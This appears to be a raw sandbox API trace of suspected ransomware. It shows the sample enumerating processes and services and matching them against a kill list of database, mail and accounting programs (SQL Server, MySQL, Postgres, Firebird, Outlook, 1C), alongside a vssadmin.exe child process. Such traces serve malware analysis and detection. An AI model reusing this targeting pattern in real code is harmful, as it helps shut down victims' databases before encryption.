	[0249.352] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0249.352] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0249.352] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0249.352] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0249.352] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0249.352] lstrlenW (lpString="svchost.exe") returned 11
	[0249.352] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0249.352] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0249.352] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0249.353] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0249.353] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0249.353] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0249.353] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0249.353] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0249.353] lstrlenW (lpString="audiodg.exe") returned 11
	[0249.353] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1
	[0249.353] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1
	[0249.353] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1
	[0249.353] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1
	[0249.353] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1
	[0249.353] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1
	[0249.353] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1
	[0249.353] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0249.353] lstrlenW (lpString="svchost.exe") returned 11
	[0249.353] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0249.353] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0249.353] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0249.353] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0249.353] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0249.354] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0249.354] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0249.354] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0249.354] lstrlenW (lpString="userinit.exe") returned 12
	[0249.354] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1
	[0249.354] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1
	[0249.354] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1
	[0249.354] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1
	[0249.354] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1
	[0249.354] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1
	[0249.354] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1
	[0249.354] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0249.354] lstrlenW (lpString="explorer.exe") returned 12
	[0249.354] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1
	[0249.354] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1
	[0249.354] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1
	[0249.354] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1
	[0249.354] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1
	[0249.355] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0249.355] lstrlenW (lpString="dwm.exe") returned 7
	[0249.355] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0249.355] lstrlenW (lpString="svchost.exe") returned 11
	[0249.355] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0249.355] lstrlenW (lpString="swpesp.exe") returned 10
	[0249.355] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0249.356] lstrlenW (lpString="spoolsv.exe") returned 11
	[0249.356] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0249.356] lstrlenW (lpString="dllhost.exe") returned 11
	[0249.356] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0249.356] lstrlenW (lpString="taskhost.exe") returned 12
	[0249.356] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0249.356] lstrlenW (lpString="svchost.exe") returned 11
	[0249.356] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0249.357] lstrlenW (lpString="reader_sl.exe") returned 13
	[0249.357] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0249.357] lstrlenW (lpString="cmd.exe") returned 7
	[0249.357] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0249.357] lstrlenW (lpString="conhost.exe") returned 11
	[0249.357] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1
	[0249.358] lstrlenW (lpString="vssadmin.exe") returned 12
	[0249.358] Process32NextW (in: hSnapshot=0x270, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x5bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0
	[0249.358] CloseHandle (hObject=0x270) returned 1
	[0249.358] Sleep (dwMilliseconds=0x1f4) 
	[0250.085] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280630
	[0250.247] EnumServicesStatusExW (in: hSCManager=0x4280630, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0250.251] GetLastError () returned 0xea
	[0250.251] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa08) returned 0x41fd7b0
	[0250.251] EnumServicesStatusExW (in: hSCManager=0x4280630, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41fd7b0, cbBufSize=0xa08, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41fd7b0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0250.256] CloseServiceHandle (hSCObject=0x4280630) returned 1
	[0250.258] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0250.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0250.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0250.258] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0250.258] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0250.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0250.258] lstrlenW (lpString="AudioSrv") returned 8
	[0250.258] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0250.258] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0250.258] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0250.258] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0250.258] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0250.258] lstrlenW (lpString="BFE") returned 3
	[0250.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0250.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0250.259] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0250.259] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0250.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0250.259] lstrlenW (lpString="CscService") returned 10
	[0250.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0250.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0250.259] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0250.259] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0250.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0250.259] lstrlenW (lpString="DcomLaunch") returned 10
	[0250.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0250.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0250.259] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0250.259] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0250.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0250.259] lstrlenW (lpString="Dhcp") returned 4
	[0250.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0250.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0250.259] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0250.259] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0250.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0250.259] lstrlenW (lpString="Dnscache") returned 8
	[0250.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0250.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0250.259] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0250.259] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0250.259] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0250.259] lstrlenW (lpString="eventlog") returned 8
	[0250.259] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0250.259] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0250.260] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0250.260] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0250.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0250.260] lstrlenW (lpString="EventSystem") returned 11
	[0250.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0250.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0250.260] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0250.260] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0250.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0250.260] lstrlenW (lpString="gpsvc") returned 5
	[0250.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0250.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0250.260] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0250.260] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0250.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0250.260] lstrlenW (lpString="lmhosts") returned 7
	[0250.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0250.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0250.260] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0250.260] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0250.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0250.260] lstrlenW (lpString="MMCSS") returned 5
	[0250.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0250.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0250.260] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0250.260] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0250.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0250.260] lstrlenW (lpString="nsi") returned 3
	[0250.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0250.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0250.260] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0250.260] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0250.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0250.261] lstrlenW (lpString="PlugPlay") returned 8
	[0250.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0250.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0250.261] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0250.261] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0250.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0250.261] lstrlenW (lpString="Power") returned 5
	[0250.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0250.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0250.261] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0250.261] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0250.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0250.261] lstrlenW (lpString="ProfSvc") returned 7
	[0250.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0250.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0250.261] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0250.261] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0250.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0250.261] lstrlenW (lpString="RpcEptMapper") returned 12
	[0250.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0250.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0250.261] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0250.261] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0250.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0250.261] lstrlenW (lpString="RpcSs") returned 5
	[0250.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0250.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0250.261] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0250.261] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0250.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0250.261] lstrlenW (lpString="SamSs") returned 5
	[0250.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0250.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0250.262] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0250.262] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0250.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0250.262] lstrlenW (lpString="Schedule") returned 8
	[0250.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0250.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0250.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0250.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0250.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0250.262] lstrlenW (lpString="SENS") returned 4
	[0250.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0250.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0250.262] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0250.262] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0250.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0250.262] lstrlenW (lpString="ShellHWDetection") returned 16
	[0250.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0250.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0250.262] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0250.262] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0250.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0250.262] lstrlenW (lpString="Spooler") returned 7
	[0250.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0250.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0250.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0250.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0250.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0250.262] lstrlenW (lpString="Themes") returned 6
	[0250.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0250.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0250.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0250.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0250.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0250.263] lstrlenW (lpString="UxSms") returned 5
	[0250.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0250.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0250.263] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0250.263] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0250.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0250.263] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41fd7b0 | out: hHeap=0x4a0000) returned 1
	[0250.263] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x22c
	[0250.264] Process32FirstW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0250.264] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0250.264] lstrlenW (lpString="System") returned 6
	[0250.264] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0250.264] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0250.264] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0250.264] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0250.264] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0250.264] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0250.264] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0250.264] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0250.265] lstrlenW (lpString="smss.exe") returned 8
	[0250.265] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0250.265] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0250.265] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0250.265] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0250.265] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0250.265] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0250.265] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
	[0250.265] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0250.265] lstrlenW (lpString="csrss.exe") returned 9
	[0250.265] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1
	[0250.265] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1
	[0250.265] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1
	[0250.265] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1
	[0250.265] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1
	[0250.265] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1
	[0250.265] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1
	[0250.265] Process32NextW (in: hSnapshot=0x22c, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0250.266] lstrlenW (lpString="wininit.exe") returned 11
	[0250.266] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1
	[0250.266] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1
	[0250.266] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1
	[0250.266] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1
	[0250.266] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1
	[0250.266] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1
